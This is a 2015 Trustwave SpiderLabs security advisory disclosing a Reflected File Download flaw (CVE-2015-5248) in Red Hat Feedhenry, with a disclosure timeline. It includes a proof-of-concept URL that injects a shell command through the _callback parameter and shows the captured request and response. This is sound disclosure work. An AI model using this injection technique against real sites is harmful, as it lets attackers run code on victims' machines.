Trustwave SpiderLabs Security Advisory TWSL2015-017:
Reflected File Download in Red Hat Feedhenry

Published: 10/09/2015 
Version: 1.0

Vendor: Red Hat Inc. (http://www.redhat.com/)
Product: Feedhenry Enterprise Mobile Application Platform

Product description:
Mobile Platform for Enterprise. Accelerate collaboration & development on
Mobile Projects.

Finding 1: Reflected File Download in RedHat Feedhenry
Credit: Maciej Grela of Trustwave
CVE: CVE-2015-5248

A particular request used by the Feedhenry mobile app hosting platform is
vulnerable to Reflected File Download [1] in certain browsers. Consider the
following URL:

https://example.feedhenry.com/box/srv/1.1/app/init/install.cmd?_callback=start%20notepad.exe%0d%0a&_jsonpdata={%22appid%22:%22<application_id>%22,%22appkey%22:%22<application_key>%22}

A similar URL is used by the application code at initialization, the above
was significantly optimized. Please note, that the appid and appkey values
need to be valid.  Fetching this URL results in the following
request/response pair:

8<------------------------------------------------
GET /box/srv/1.1/app/init/install.cmd?_callback=start%20notepad.exe%0d%0a&_jsonpdata={%22appid%22:%22<application_id>%22,%22appkey%22:%22<application_key>%22} HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: example.feedhenry.com

8<------------------------------------------------

Response:

8<------------------------------------------------
HTTP/1.1 200 OK
Date: Mon, 30 Mar 2015 13:01:28 GMT
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
P3P: CP="ALL ADM DEV PSAi COM OUR OTRo STP IND ONL" policyref="/box/p3p.xml"
Pragma: no-cache
Cache-Control: post-check=0, pre-check=0
Last-Modified: Mon, 30 Mar 2015 13:01:28 GMT
ETag: "<etag>"
Content-Type: text/javascript;charset=UTF-8
Vary: Accept-Encoding
Content-Length: 392

start notepad.exe
({"apptitle":"Fake App","domain":"example","firstTime":false,"hosts":{"debugCloudType":"node","debugCloudUrl":"https://debug-url.feedhenry.net","releaseCloudType":"node","releaseCloudUrl":"https://release-url.feedhenry.net"},"init":{"trackId":"<track_id>"},"status":"ok"});
8<------------------------------------------------

This kind of result in a response will be interpreted by certain browsers
(IE8 on Windows 7 [3] was tested as a proof of concept) as an apparent file
download from the example.feedhenry.com domain. Despite Same-origin
policies, the attacker has complete control of both the file name
(install.cmd) and contents of the file. This allows the attacker to execute
arbitrary code when the victim launches the downloaded file.

Vendor Response:
Red Hat Software acknowledged the vulnerability and the organization
advised that it will be patched. However, at this time there is no response
regarding the time-frame when it will be patched.


Remediation Steps:
Please refer to the BlackHat 2014 talk [2] and TW Spiderlabs blog [1] for
more details about this vulnerability and ways to mitigate it.


Revision History:
03/31/2015 - Vulnerability disclosed to vendor
05/06/2015 - Vendor acknowledged vulnerability
07/16/2015 - Contact vendor regarding status
08/17/2015 - Vendor advises that it should be patched within a week
08/20/2015 - Attempted to contact vendor regarding status
09/01/2015 - Attempted to contact vendor regarding status
09/18/2015 - Attempted to contact vendor regarding status
09/24/2015 - Attempted to contact vendor regarding status
10/01/2015 - Attempted to contact vendor regarding status
10/09/2015 - Advisory published


References
1. https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/
2. https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
3. https://www.modern.ie/en-us/virtualization-tools


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About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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